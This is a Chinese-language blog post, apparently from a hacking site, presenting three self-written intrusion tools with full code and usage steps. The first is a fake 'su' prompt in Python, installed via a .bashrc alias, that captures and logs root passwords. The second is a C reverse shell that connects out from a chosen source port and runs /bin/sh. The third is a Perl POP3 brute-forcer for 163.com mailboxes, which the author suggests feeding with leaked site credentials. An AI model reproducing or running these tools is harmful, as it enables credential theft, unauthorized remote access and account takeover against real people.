渗透的很多时候,在网上找到的工具并不适用,自己写代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的红黑联盟,短小使用,求欣赏,求好评。
0×01
记录root密码小工具:
root.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
#!/usr/bin/python
import
os, sys, getpass, time
current_time = time.strftime(
"%Y-%m-%d %H:%M"
)
logfile=
"/dev/shm/.su.log"
//密码获取后记录在这里
#CentOS
#fail_str =
"su: incorrect password"
#Ubuntu
#fail_str =
"su: Authentication failure"
#For Linux Korea
//centos,ubuntu,korea 切换root用户失败提示不一样
fail_str =
"su: incorrect password"
try
:
passwd = getpass.getpass(prompt=
'Password: '
);
file=open(logfile,
'a'
)
file.write(
"[%s]t%s"
%(passwd, current_time))
//截取root密码
file.write(
'n'
)
file.close()
except:
pass
time.sleep(
1
)
print fail_str
//打印切换root失败提示
|
打印切换root失败提示
渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本
0×02
设置源端口反弹shell
渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,
Ping了下百度 可以ping通,
那真相只有一个
服务器变态的限制了只能某些提供已某些端口为源端口去连接外面
比如
只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。
谷歌程序无果,自己查了相关api后写了个。
client-port.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
void
error(
char
*msg)
{
perror(msg);
exit(
0
);
}
int
main(
int
argc,
char
*argv[])
{
int
sockfd, portno, lportno,n;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
struct hostent *server;
char
buffer[
256
];
if
(argc <
3
) {
fprintf(stderr,
"usage %s hostname port LocalPortn"
, argv[
0
]);
exit(
0
);
}
//三个参数,目标主机,目标主机端口,本地源端口
portno = atoi(argv[
2
]);
sockfd = socket(AF_INET, SOCK_STREAM,
0
);
if
(sockfd <
0
)
error(
"ERROR opening socket"
);
bzero((
char
*) &client_addr, sizeof(client_addr));
lportno = atoi(argv[
3
]);
client_addr.sin_family = AF_INET;
client_addr.sin_addr.s_addr = INADDR_ANY;
client_addr.sin_port = htons(lportno);
//设置源端口
if
(bind(sockfd, (struct sockaddr *) &client_addr,
sizeof(client_addr)) <
0
)
error(
"ERROR on binding"
);
server = gethostbyname(argv[
1
]);
if
(server == NULL) {
fprintf(stderr,
"ERROR, no such host "
);
exit(
0
);
}
bzero((
char
*) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((
char
*)server->h_addr,
(
char
*)&serv_addr.sin_addr.s_addr,
server->h_length);
serv_addr.sin_port = htons(portno);
if
(connect(sockfd,&serv_addr,sizeof(serv_addr)) <
0
)
//连接
error(
"ERROR connecting"
);
dup2(fd,
0
);
dup2(fd,
1
);
dup2(fd,
2
);
execl(
"/bin/sh"
,
"sh -i"
, NULL);
//执行shell
close(fd);
}
|
用法:
1
gcc client-port.c -o port
1
chmod +x port
1
./port 你的IP 你的监听端口 本地的源端口
如 ./port http://www.2cto.com 80 80
红黑联盟成功反弹shell 提权成功
0×03 邮箱爆破脚本
某个时候 需要爆破一批邮箱
Burp163.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
#!/usr/bin/perl
use Net::POP3;
$email=
"pop.163.com"
;
//设置pop服务器地址 qq为pop.qq.com
$pop = Net::POP3->
new
($email)or die(
"ERROR: Unable to initiate. "
);
print $pop->banner();
$pop->quit;
$i=
0
;
open(fp1,
"user.txt"
);
@array1
=<fp1>;
open(fp2,
"pass.txt"
);
@array2
=<fp2>;
//从文件中获取邮箱用户名及密码
foreach $a(
@array1
) {
$u=substr($a,
0
,length($a)-
1
);
$u=$u.
"@163.com"
;
foreach $b(
@array2
) {
$p=substr($b,
0
,length($b)-
1
);
print
"cracked with "
.$u.
"-----"
.$p.
"n"
;
$i=$i+
1
;
$pop = Net::POP3->
new
($email)or die(
"ERROR: Unable to initiate. "
);
$m=$pop->login($u,$p);
//尝试登录邮箱
if
($m>
0
)
{
print $u.
"------------"
.$p.
"----"
.
"success"
.
"n"
;
$pop->quit;
}
//成功登录
else
{
print $u.
"------------"
.$p.
"----"
.
"failed"
.
"n"
;
$pop->quit;
//登录失败
}
}
}
print $i;
|
用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱
$email="pop.163.com";
再将去除掉@后面部分的邮箱地址比如sude@163.com 去除后sude存进去
同目录user.txt中吗,再将字典存进去pass.txt
你会说
这个有点鸡肋吧 万一邮箱的密码很复杂
呵呵
搞到了一个小站的数据,
用这个程序批量测试密码是否就是邮箱密码 呵呵
我啥都没说。
0×04
这三个程序仅供技术研究,如读者用于违法行为,本人概不负